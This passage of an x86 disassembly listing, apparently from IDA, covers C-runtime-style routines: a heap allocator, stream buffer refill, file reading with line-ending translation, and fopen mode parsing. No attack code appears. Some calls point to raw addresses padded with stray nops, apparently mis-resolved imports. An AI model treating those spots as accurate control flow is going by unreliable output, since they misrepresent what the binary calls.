		mov	[edi+4], ebx


loc_41F56A:				; CODE XREF: sub_41F50E+40j
					; sub_41F50E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41F547
		jmp	short loc_41F584
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F50E+37j
		mov	ebx, [ebp+arg_0]


loc_41F584:				; CODE XREF: sub_41F50E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41F5CA


loc_41F597:				; CODE XREF: sub_41F50E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41F5B6
		cmp	[edi+4], ebx
		jbe	short loc_41F5B6
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	[edi+4], ebx


loc_41F5B6:				; CODE XREF: sub_41F50E+8Dj
					; sub_41F50E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41F597
		jmp	short loc_41F5CA
; ---------------------------------------------------------------------------


loc_41F5C7:				; CODE XREF: sub_41F50E+14j
		mov	ebx, [ebp+arg_0]


loc_41F5CA:				; CODE XREF: sub_41F50E+87j
					; sub_41F50E+B7j
		mov	esi, [esi]
		cmp	esi, off_43CE70
		jz	short loc_41F5E9
		jmp	loc_41F51C
; ---------------------------------------------------------------------------


loc_41F5D9:				; CODE XREF: sub_41F50E+54j
					; sub_41F50E+A3j
		mov	off_43CE70, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41F711
; ---------------------------------------------------------------------------


loc_41F5E9:				; CODE XREF: sub_41F50E+C4j
		mov	eax, offset off_43AE50
		mov	edi, eax


loc_41F5F0:				; CODE XREF: sub_41F50E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41F5FC
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41F608


loc_41F5FC:				; CODE XREF: sub_41F50E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41F6DD
		jmp	short loc_41F5F0
; ---------------------------------------------------------------------------


loc_41F608:				; CODE XREF: sub_41F50E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41F637


loc_41F626:				; CODE XREF: sub_41F50E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41F637
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41F626


loc_41F637:				; CODE XREF: sub_41F50E+116j
					; sub_41F50E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	near ptr 2660559h
		nop
		cmp	eax, esi
		jnz	loc_41F70F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41BF70
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41F69E
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41F674:				; CODE XREF: sub_41F50E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41F674


loc_41F69E:				; CODE XREF: sub_41F50E+15Ej
		mov	off_43CE70, edi
		lea	eax, [edi+2018h]


loc_41F6AA:				; CODE XREF: sub_41F50E+1A8j
		cmp	ecx, eax
		jnb	short loc_41F6BA
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41F6B8
		add	ecx, 8
		jmp	short loc_41F6AA
; ---------------------------------------------------------------------------


loc_41F6B8:				; CODE XREF: sub_41F50E+1A3j
		cmp	ecx, eax


loc_41F6BA:				; CODE XREF: sub_41F50E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F6DD:				; CODE XREF: sub_41F50E+F2j
		call	sub_41F216
		test	eax, eax
		jz	short loc_41F70F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43CE70, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F70F:				; CODE XREF: sub_41F50E+143j
					; sub_41F50E+1D6j
		xor	eax, eax


loc_41F711:				; CODE XREF: sub_41F50E+D6j
					; sub_41F50E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F716	proc near		; CODE XREF: sub_41F50E+4Ap
					; sub_41F50E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41F75B
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41F74A
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41F753
; ---------------------------------------------------------------------------


loc_41F74A:				; CODE XREF: sub_41F716+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F753:				; CODE XREF: sub_41F716+32j
		lea	eax, [edi+8]
		jmp	loc_41F829
; ---------------------------------------------------------------------------


loc_41F75B:				; CODE XREF: sub_41F716+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41F764
		mov	eax, esi


loc_41F764:				; CODE XREF: sub_41F716+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41F7AE


loc_41F76B:				; CODE XREF: sub_41F716+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41F7A1
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41F777:				; CODE XREF: sub_41F716+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F780
		inc	ebx
		inc	esi
		jmp	short loc_41F777
; ---------------------------------------------------------------------------


loc_41F780:				; CODE XREF: sub_41F716+64j
		cmp	esi, edx
		jnb	short loc_41F7D2
		cmp	eax, [ebp+var_4]
		jnz	short loc_41F78E
		mov	[ecx+4], esi
		jmp	short loc_41F79A
; ---------------------------------------------------------------------------


loc_41F78E:				; CODE XREF: sub_41F716+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41F833


loc_41F79A:				; CODE XREF: sub_41F716+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41F7A6
; ---------------------------------------------------------------------------


loc_41F7A1:				; CODE XREF: sub_41F716+59j
		movzx	esi, bl
		add	eax, esi


loc_41F7A6:				; CODE XREF: sub_41F716+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41F76B


loc_41F7AE:				; CODE XREF: sub_41F716+53j
		lea	esi, [ecx+8]


loc_41F7B1:				; CODE XREF: sub_41F716+EBj
					; sub_41F716+F2j
		cmp	esi, edi
		jnb	short loc_41F833
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41F833
		mov	al, [esi]
		test	al, al
		jnz	short loc_41F803
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41F7C9:				; CODE XREF: sub_41F716+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F7F3
		inc	ebx
		inc	eax
		jmp	short loc_41F7C9
; ---------------------------------------------------------------------------


loc_41F7D2:				; CODE XREF: sub_41F716+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F7E3
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41F7EC
; ---------------------------------------------------------------------------


loc_41F7E3:				; CODE XREF: sub_41F716+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41F7EC:				; CODE XREF: sub_41F716+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F7F3:				; CODE XREF: sub_41F716+B6j
		cmp	eax, edx
		jnb	short loc_41F80A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41F833
		mov	esi, ebx
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F803:				; CODE XREF: sub_41F716+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F80A:				; CODE XREF: sub_41F716+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F81B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41F824
; ---------------------------------------------------------------------------


loc_41F81B:				; CODE XREF: sub_41F716+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F824:				; CODE XREF: sub_41F716+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41F829:				; CODE XREF: sub_41F716+40j
					; sub_41F716+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41F835
; ---------------------------------------------------------------------------


loc_41F833:				; CODE XREF: sub_41F716+7Ej
					; sub_41F716+9Dj ...
		xor	eax, eax


loc_41F835:				; CODE XREF: sub_41F716+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F716	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F83A	proc near		; CODE XREF: sub_41BBE2+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41F874
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F8D4
; ---------------------------------------------------------------------------


loc_41F874:				; CODE XREF: sub_41F83A+26j
		jnb	short loc_41F8DB
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F8DB
		lea	eax, [ecx+edx]


loc_41F889:				; CODE XREF: sub_41F83A+59j
		cmp	eax, esi
		jnb	short loc_41F897
		cmp	byte ptr [eax],	0
		jnz	short loc_41F895
		inc	eax
		jmp	short loc_41F889
; ---------------------------------------------------------------------------


loc_41F895:				; CODE XREF: sub_41F83A+56j
		cmp	eax, esi


loc_41F897:				; CODE XREF: sub_41F83A+51j
		jnz	short loc_41F8DB
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F8CF
		cmp	esi, eax
		jbe	short loc_41F8CF
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F8C6
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F8C1


loc_41F8BA:				; CODE XREF: sub_41F83A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F8BA


loc_41F8C1:				; CODE XREF: sub_41F83A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F8CF
; ---------------------------------------------------------------------------


loc_41F8C6:				; CODE XREF: sub_41F83A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F8CF:				; CODE XREF: sub_41F83A+68j
					; sub_41F83A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F8D4:				; CODE XREF: sub_41F83A+38j
		mov	[ebp+var_4], 1


loc_41F8DB:				; CODE XREF: sub_41F83A:loc_41F874j
					; sub_41F83A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F83A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F8E3	proc near		; CODE XREF: sub_41BAFA+A9p
					; sub_41C52F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F9B7
		test	al, 40h
		jnz	loc_41F9B7
		test	al, 2
		jz	short loc_41F909
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F9B7
; ---------------------------------------------------------------------------


loc_41F909:				; CODE XREF: sub_41F8E3+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F91D
		push	esi
		call	sub_4241F7
		pop	ecx
		jmp	short loc_41F922
; ---------------------------------------------------------------------------


loc_41F91D:				; CODE XREF: sub_41F8E3+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F922:				; CODE XREF: sub_41F8E3+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F9A6
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F9A6
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F97B
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F964
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DD040[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F969
; ---------------------------------------------------------------------------


loc_41F964:				; CODE XREF: sub_41F8E3+6Bj
		mov	edi, offset dword_43D4D0


loc_41F969:				; CODE XREF: sub_41F8E3+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F97B
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F97B:				; CODE XREF: sub_41F8E3+62j
					; sub_41F8E3+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F998
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F998
		test	ch, 4
		jnz	short loc_41F998
		mov	dword ptr [esi+18h], 1000h


loc_41F998:				; CODE XREF: sub_41F8E3+9Fj
					; sub_41F8E3+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F9A6:				; CODE XREF: sub_41F8E3+55j
					; sub_41F8E3+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F9B7:				; CODE XREF: sub_41F8E3+Aj
					; sub_41F8E3+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F8E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9BC	proc near		; CODE XREF: sub_41BAFA+90p
					; sub_41F8E3+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DD140
		jnb	loc_41FB99
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DD040h[eax*4]
		mov	eax, dword_4DD040[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41FB99
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41FA71
		test	dl, 2
		jnz	short loc_41FA71
		test	dl, 48h
		jz	short loc_41FA31
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41FA31
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41FA31:				; CODE XREF: sub_41F9BC+56j
					; sub_41F9BC+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26F107Dh
		test	eax, eax
		jnz	short loc_41FA84
		nop
		call	near ptr 2680972h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41FA6C
		mov	dword_4DBDDC, 9
		mov	dword_4DBDE0, ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA6C:				; CODE XREF: sub_41F9BC+99j
		cmp	eax, 6Dh
		jnz	short loc_41FA78


loc_41FA71:				; CODE XREF: sub_41F9BC+4Cj
					; sub_41F9BC+51j
		xor	eax, eax
		jmp	loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FA78:				; CODE XREF: sub_41F9BC+B3j
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA84:				; CODE XREF: sub_41F9BC+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41FB94
		test	edx, edx
		jz	short loc_41FAA9
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41FAA9
		or	al, 4
		jmp	short loc_41FAAB
; ---------------------------------------------------------------------------


loc_41FAA9:				; CODE XREF: sub_41F9BC+E2j
					; sub_41F9BC+E7j
		and	al, 0FBh


loc_41FAAB:				; CODE XREF: sub_41F9BC+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41FB8E


loc_41FAC3:				; CODE XREF: sub_41F9BC+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41FB7E
		cmp	al, 0Dh
		jz	short loc_41FADF
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41FB70
; ---------------------------------------------------------------------------


loc_41FADF:				; CODE XREF: sub_41F9BC+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41FAFD
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41FAF4
		add	[ebp+arg_8], 2
		jmp	short loc_41FB52
; ---------------------------------------------------------------------------


loc_41FAF4:				; CODE XREF: sub_41F9BC+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FAFD:				; CODE XREF: sub_41F9BC+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 26F107Dh
		nop
		test	eax, eax
		jnz	short loc_41FB25
		call	near ptr 2680972h
		nop
		test	eax, eax
		jnz	short loc_41FB6C


loc_41FB25:				; CODE XREF: sub_41F9BC+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41FB6C
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41FB47
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41FB52
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F9BC+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41FB57
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41FB57


loc_41FB52:				; CODE XREF: sub_41F9BC+136j
					; sub_41F9BC+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41FB6F
; ---------------------------------------------------------------------------


loc_41FB57:				; CODE XREF: sub_41F9BC+18Ej
					; sub_41F9BC+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_422F09
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41FB70


loc_41FB6C:				; CODE XREF: sub_41F9BC+167j
					; sub_41F9BC+16Dj
		mov	byte ptr [edi],	0Dh


loc_41FB6F:				; CODE XREF: sub_41F9BC+199j
		inc	edi


loc_41FB70:				; CODE XREF: sub_41F9BC+11Ej
					; sub_41F9BC+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41FAC3
		jmp	short loc_41FB8E
; ---------------------------------------------------------------------------


loc_41FB7E:				; CODE XREF: sub_41F9BC+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41FB8E
		or	al, 2
		mov	[esi], al


loc_41FB8E:				; CODE XREF: sub_41F9BC+101j
					; sub_41F9BC+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41FB94:				; CODE XREF: sub_41F9BC+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FB99:				; CODE XREF: sub_41F9BC+12j
					; sub_41F9BC+39j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_41FBAA:				; CODE XREF: sub_41F9BC+ABj
					; sub_41F9BC+C3j
		or	eax, 0FFFFFFFFh


loc_41FBAD:				; CODE XREF: sub_41F9BC+B7j
					; sub_41F9BC+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F9BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FBB2	proc near		; CODE XREF: sub_41BBE2+126p
					; sub_41BBE2+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DBE44
		test	eax, eax
		jz	short loc_41FBCA
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41FBCA
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41FBCA:				; CODE XREF: sub_41FBB2+7j
					; sub_41FBB2+12j
		xor	eax, eax
		retn
sub_41FBB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FBCD	proc near		; CODE XREF: sub_41BE82+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBFB0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41FC06
		cmp	al, 72h
		jz	short loc_41FBFF
		cmp	al, 77h
		jnz	loc_41FD1A
		mov	ecx, 301h
		jmp	short loc_41FC0B
; ---------------------------------------------------------------------------


loc_41FBFF:				; CODE XREF: sub_41FBCD+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41FC0E
; ---------------------------------------------------------------------------


loc_41FC06:				; CODE XREF: sub_41FBCD+1Dj
		mov	ecx, 109h


loc_41FC0B:				; CODE XREF: sub_41FBCD+30j
		or	esi, 2


loc_41FC0E:				; CODE XREF: sub_41FBCD+37j
		push	1
		pop	edx


loc_41FC11:				; CODE XREF: sub_41FBCD+8Bj
					; sub_41FBCD+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41FD00
		cmp	edx, ebx
		jz	loc_41FD00
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41FC9F
		jz	short loc_41FC8F
		sub	eax, 2Bh
		jz	short loc_41FC79
		sub	eax, 19h
		jz	short loc_41FC6F
		sub	eax, 0Eh
		jz	short loc_41FC5A
		dec	eax
		jnz	loc_41FCF1
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC5A:				; CODE XREF: sub_41FBCD+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC6F:				; CODE XREF: sub_41FBCD+6Aj
		test	cl, 40h
		jnz	short loc_41FCF1
		or	ecx, 40h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC79:				; CODE XREF: sub_41FBCD+65j
		test	cl, 2
		jnz	short loc_41FCF1
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC8F:				; CODE XREF: sub_41FBCD+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41FCF1
		or	ecx, eax
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC9F:				; CODE XREF: sub_41FBCD+5Ej
		sub	eax, 62h
		jz	short loc_41FCEC
		dec	eax
		jz	short loc_41FCD5
		sub	eax, 0Bh
		jz	short loc_41FCBE
		sub	eax, 6
		jnz	short loc_41FCF1
		test	ch, 0C0h
		jnz	short loc_41FCF1
		or	ch, 40h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCBE:				; CODE XREF: sub_41FBCD+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCD5:				; CODE XREF: sub_41FBCD+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCEC:				; CODE XREF: sub_41FBCD+D5j
		test	ch, 0C0h
		jz	short loc_41FCF8


loc_41FCF1:				; CODE XREF: sub_41FBCD+72j
					; sub_41FBCD+7Bj ...
		xor	edx, edx
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCF8:				; CODE XREF: sub_41FBCD+122j
		or	ch, 80h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FD00:				; CODE XREF: sub_41FBCD+4Aj
					; sub_41FBCD+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_42423B
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41FD1E


loc_41FD1A:				; CODE XREF: sub_41FBCD+25j
		xor	eax, eax
		jmp	short loc_41FD38
; ---------------------------------------------------------------------------


loc_41FD1E:				; CODE XREF: sub_41FBCD+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBFAC
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41FD38:				; CODE XREF: sub_41FBCD+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FBCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD3D	proc near		; CODE XREF: sub_41BE82p
		mov	edx, dword_4DD020
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41FDAE
		mov	ebx, dword_4DC01C
		mov	edi, ebx


loc_41FD59:				; CODE XREF: sub_41FD3D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
